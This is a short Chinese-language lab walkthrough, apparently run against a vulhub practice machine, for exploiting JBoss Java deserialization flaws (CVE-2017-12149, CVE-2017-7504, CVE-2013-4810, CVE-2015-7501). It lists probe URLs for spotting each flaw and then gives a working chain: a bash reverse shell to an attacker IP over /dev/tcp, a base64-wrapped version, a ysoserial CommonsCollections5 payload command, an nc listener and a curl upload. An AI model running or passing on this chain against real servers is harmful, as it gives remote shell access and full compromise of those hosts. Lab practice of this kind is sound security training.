1、确认漏洞及类型
在jboss的url后缀添加如下信息,根据回显确定漏洞版本
a、访问/invoker/readonly,返回500则说明存在漏洞->CVE-2017-12149
b、访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL则存在漏洞->CVE-2017-7504
c、访问/invoker/EJBInvokerServlet,返回下载弹窗则存在漏洞->CVE-2013-4810
d、访问/invoker/JMXInvokerServlet,返回下载弹窗则存在漏洞->CVE-2015-7501
2、制作payload
工具:ysoserial.jar
靶机:192.168.66.140(Ubuntu_vulhub)
攻击机:192.168.66.138
1、写反弹shell
bash -i >& /dev/tcp/192.168.66.138/1111 0>&1
2、bash64加密,勾选bash
java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjEzOC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}
3、使用ysoserial.jar制作payload
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY2LjEzOC8xMTExIDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
注:CommonsCollections有1-10,5及以后有效
4、攻击机开启端口监听
nc -lvp 1111
5、使用curl命令发送payload
curl http:192.168.66.140:8080+试探目录 --data-binary @poc.ser
注:poc版本>=5